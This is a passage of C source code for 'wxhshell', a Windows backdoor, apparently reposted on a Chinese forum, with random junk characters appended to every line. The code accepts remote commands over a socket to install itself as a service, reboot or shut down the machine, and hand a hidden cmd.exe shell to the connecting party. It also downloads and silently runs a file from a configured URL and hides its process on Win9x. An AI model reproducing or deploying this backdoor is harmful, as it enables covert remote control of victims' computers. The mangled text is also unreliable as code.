  } ~V(WD;Mk  
  else { &ed.%:  
P*\.dAi  
    switch(cmd[0]) { }APf^Ry  
  =s;7T!7!  
  // 帮助 $[IuEdc/  
  case '?': { _v_ak4m>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .rwZ`MP  
    break; ,UY],;ib  
  } ^G5 _d"Gr  
  // 安装 [~$9n_O94  
  case 'i': { 42Z2Mjtk  
    if(Install()) O%rjY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); htIV`_<Ro  
    else RFqbwPX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U#YM)8;Iz  
    break; n`}vcVL;  
    } kGCd!$fsk  
  // 卸载 hMi`n6m  
  case 'r': { ^ng?+X>mP  
    if(Uninstall()) Zsaz#z|xW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g&v2=&aj  
    else Zpg$:Rr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 75gE>:f  
    break; Dk/;`sXV  
    } 7 v#sr<  
  // 显示 wxhshell 所在路径 BsR xD9r  
  case 'p': { I:[3x2H  
    char svExeFile[MAX_PATH]; {G_ZEo#x8,  
    strcpy(svExeFile,"\n\r"); ) _"`{2  
      strcat(svExeFile,ExeFile); \  VJ3  
        send(wsh,svExeFile,strlen(svExeFile),0); XD9lox  
    break; )fv0H&g  
    } l\a 0 k4  
  // 重启 TN(1oJ:  
  case 'b': { EZao\,t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Hcuvu[)T"  
    if(Boot(REBOOT)) W$  M4#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K`D>G<  
    else { m%l\EE  
    closesocket(wsh); }>>BKn   
    ExitThread(0); | M4_@P  
    } "4|D"|wI)  
    break; u1(`^^Ml  
    } E\5t&jZr  
  // 关机 d_]zX;_  
  case 'd': { le`fRq8f&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t*~V]wZ  
    if(Boot(SHUTDOWN)) 89@gYA"Su  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YqrieDFay!  
    else { *ax$R6a#X  
    closesocket(wsh); U)o(}:5xF  
    ExitThread(0); ?x=;?7  
    } LDx1@a|83  
    break; +.:- :  
    } &V:iy  
  // 获取shell gYw4YP0Gz  
  case 's': { )u`q41!  
    CmdShell(wsh); FTsvPLIv"  
    closesocket(wsh); EE=!Y NP]  
    ExitThread(0); a)/!ifJ;  
    break; d@JjqE[  
  } FQ2 6(.  
  // 退出 a^>0XXr}Y  
  case 'x': { l`4hWs\I  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a"4j9cO  
    CloseIt(wsh); .k|8nNj  
    break; 2c LIz@  
    } R#DnV[!\  
  // 离开 U@ Y0 z.Y  
  case 'q': { ' cR||VX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); M3!A?!BU  
    closesocket(wsh); |9Q4VY'";  
    WSACleanup(); }vgeQh-G  
    exit(1); uzr(gFd  
    break; TFjb1 a,)  
        } %7 7v'Pz1  
  } [< Bk% B5  
  } bj=kqO;*O  
<k+dJ=f  
  // 提示信息 KLrxlD4\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O4dJ> O  
} =W$ f +  
  } f .-b.nNf  
FCgr  
  return; aEM2xrhy,  
} P>j^w#$n  
6 GqR]KD  
// shell模块句柄 y@Z@ eK3  
int CmdShell(SOCKET sock) $aDAD4mmm  
{ \R\?`8O rz  
STARTUPINFO si; p#g o<Y#  
ZeroMemory(&si,sizeof(si)); PUZH[-:c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NitsUg@<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Cdg/wRje  
PROCESS_INFORMATION ProcessInfo; e:D8.h+ &}  
char cmdline[]="cmd"; QH7"' u6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eg!s[1[_  
  return 0; x]{}y_  
} 0A9llE  
\"Jgs.  
// 自身启动模式 "H\1Z,P<m  
int StartFromService(void) %/iD@2r  
{ ova4  
typedef struct H3CG'?{ _  
{ yq]=+X>(  
  DWORD ExitStatus; WR,MqM20  
  DWORD PebBaseAddress; KcKdhqdN-  
  DWORD AffinityMask; /enlkZx=8  
  DWORD BasePriority; !Lkk1z o  
  ULONG UniqueProcessId; &y_Ya%Z3*e  
  ULONG InheritedFromUniqueProcessId; X?whyD)vE@  
}   PROCESS_BASIC_INFORMATION; 2t 7':X  
XT+V> H I  
PROCNTQSIP NtQueryInformationProcess; AQ+MjS,  
ynY(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Vi1l^ Za  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?i'N 9 /(  
GWd71ZtFO  
  HANDLE             hProcess; f3PDLQA  
  PROCESS_BASIC_INFORMATION pbi; ;GQCq@)-  
%  ]G'u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lgrD~Y (x  
  if(NULL == hInst ) return 0; mk.1jx ?l  
Hw29V //  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v *icoj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O?,Grn%'.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Kcl~cIh77  
o0ky]9 P  
  if (!NtQueryInformationProcess) return 0; 5?l8;xe`{f  
9B3+$uP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tBU n KPT  
  if(!hProcess) return 0; ak1?MKV.  
|Yb]@9 >vn  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zu/BDyF  
cPunMHD  
  CloseHandle(hProcess); Ln+;HorZ]  
zD^*->`p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (>]frlEU~  
if(hProcess==NULL) return 0; "t0l)P*C}  
nIZ;N!r=i  
HMODULE hMod; <cm(QNdcC  
char procName[255]; Dxvizd>VU  
unsigned long cbNeeded; 1FA:"0lO  
(}B3df  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E)>.2{]C>  
okm }%#|  
  CloseHandle(hProcess); *RYok{w  
3ch<a0  
if(strstr(procName,"services")) return 1; // 以服务启动 f?JP=j  
?kM2/a"{G  
  return 0; // 注册表启动 5nV IC3N+1  
} +L0Jje>Az  
Q6PaT@gs  
// 主模块 :MaP58dhh  
int StartWxhshell(LPSTR lpCmdLine) )WNw0cV}J>  
{ $ U=j<^R}a  
  SOCKET wsl; 9QP-~V{$  
BOOL val=TRUE; /6 y9 u}  
  int port=0; i2P:I A|@  
  struct sockaddr_in door; TI/5'Oke$  
~Z`Cu~7  
  if(wscfg.ws_autoins) Install(); '[Zgwz;z  
0?o<cC1Z  
port=atoi(lpCmdLine); tp<v  
c/lT S  
if(port<=0) port=wscfg.ws_port; T{So 2@_&  
b9;w3Ba  
  WSADATA data; ni$;"R GC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HT:V;?"  
1K#%mV_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b|-}?@&7&q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i&TWIl8  
  door.sin_family = AF_INET; cY^'Cj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5[y+X|Am  
  door.sin_port = htons(port); H-,p.$3}  
y[{}124  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~2;\)/E\  
closesocket(wsl); ^ItL_ 4  
return 1; LzTdi%u$0|  
} B ({g|}|G+  
8S` j6  
  if(listen(wsl,2) == INVALID_SOCKET) { ;w7s>(ITZ  
closesocket(wsl); h_HPmh5  
return 1; mY[*(a  
} yUjkRT&h  
  Wxhshell(wsl); (u4'*[o\t  
  WSACleanup(); Q h{P>}  
o<gK"P  
return 0; fHODS9HQ  
+ )n}n5  
} "+M0lGTB  
oFb~|>d  
// 以NT服务方式启动 .~C%:bDnX7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'gtcy  
{ _WR/]1R  
DWORD   status = 0; d#HlO}  
  DWORD   specificError = 0xfffffff; @_$Un&eo  
]D&U} n  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Jcy+(7lE)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %'uei4   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /|8rVYSs  
  serviceStatus.dwWin32ExitCode     = 0; Y P,>vzW  
  serviceStatus.dwServiceSpecificExitCode = 0; fK _uuw4  
  serviceStatus.dwCheckPoint       = 0; '#C5m#v  
  serviceStatus.dwWaitHint       = 0; ce [ Maw  
|xF!3GGms  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v\@pZw=x  
  if (hServiceStatusHandle==0) return; Jj/}GVNc7  
yl&s!I  
status = GetLastError(); 0|<9eD\I=  
  if (status!=NO_ERROR) vb| d  
{ BRa9j:_b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^xgqs $`7  
    serviceStatus.dwCheckPoint       = 0; Vr@tSc&  
    serviceStatus.dwWaitHint       = 0; R^mkQb>m.  
    serviceStatus.dwWin32ExitCode     = status; Ob{Tn@  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3Vbt(K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h=qT@)h1>  
    return; u* G+=aV.6  
  } g^}C/~b[  
.D*~UI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yDJy'Z_F{  
  serviceStatus.dwCheckPoint       = 0; @?jtB  
  serviceStatus.dwWaitHint       = 0; )FSEHQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2OpkRFFa  
} Be9,m!on  
G`;\"9t5h  
// 处理NT服务事件,比如:启动、停止 m[z $y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (I`lv=R"j  
{ B<ncOe  
switch(fdwControl) :`4F0  
{ a`8]TD  
case SERVICE_CONTROL_STOP: 4JyA+OD4{  
  serviceStatus.dwWin32ExitCode = 0; S.{   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; yh/JHo;  
  serviceStatus.dwCheckPoint   = 0; 9)8Cf% <(  
  serviceStatus.dwWaitHint     = 0; &6vWz6!P  
  { +$Y*1{hyOo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h$}PQ   
  } B&7NF}CF2  
  return; dVk(R9 8  
case SERVICE_CONTROL_PAUSE: QJ(5o7Tfn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; f5p/cUzX  
  break; w5^k84vye  
case SERVICE_CONTROL_CONTINUE: cU-A1W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; NMQG[py!f  
  break; r \[|'hA  
case SERVICE_CONTROL_INTERROGATE: I:HrBhI)wP  
  break; |Y8}*C\M.h  
}; 1szObhN-l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z\]{{;%4b7  
} )&O6d .  
R(*t 1R\  
// 标准应用程序主函数 RO|8NC<oj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <W>A }}q  
{ ~ g-(  
m"-kkH{I  
// 获取操作系统版本 LuHRB}W  
OsIsNt=GetOsVer(); ;aj;(Z.p)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Alo L+eN@  
pF7N = mO  
  // 从命令行安装 <f`n[QD2z  
  if(strpbrk(lpCmdLine,"iI")) Install(); G"m?2$^-A  
`qYiic%  
  // 下载执行文件 $2,tT;50g  
if(wscfg.ws_downexe) { LR{bNV[i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Te[v+jgLY,  
  WinExec(wscfg.ws_filenam,SW_HIDE); W9pY=9]p+  
} ya{`gjIlW  
j"'a5;Sy  
if(!OsIsNt) { 3y+~l H :  
// 如果时win9x,隐藏进程并且设置为注册表启动 E p;i],}  
HideProc(); gL-kI *Ra  
StartWxhshell(lpCmdLine); wP*3Hx;S  
} o&&`_"18  
else Kc95yt  
  if(StartFromService()) 7y&6q`y E  
  // 以服务方式启动 nu7 R  
  StartServiceCtrlDispatcher(DispatchTable); nGe4IY\-w  
else (# mvDz  
  // 普通方式启动 ;Ce?f=4  
  StartWxhshell(lpCmdLine); Y<u%J#'[  
/Jc{aw  
return 0; 8nu!5 3  
}
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只看该作者 1 发表于: 2006-10-10
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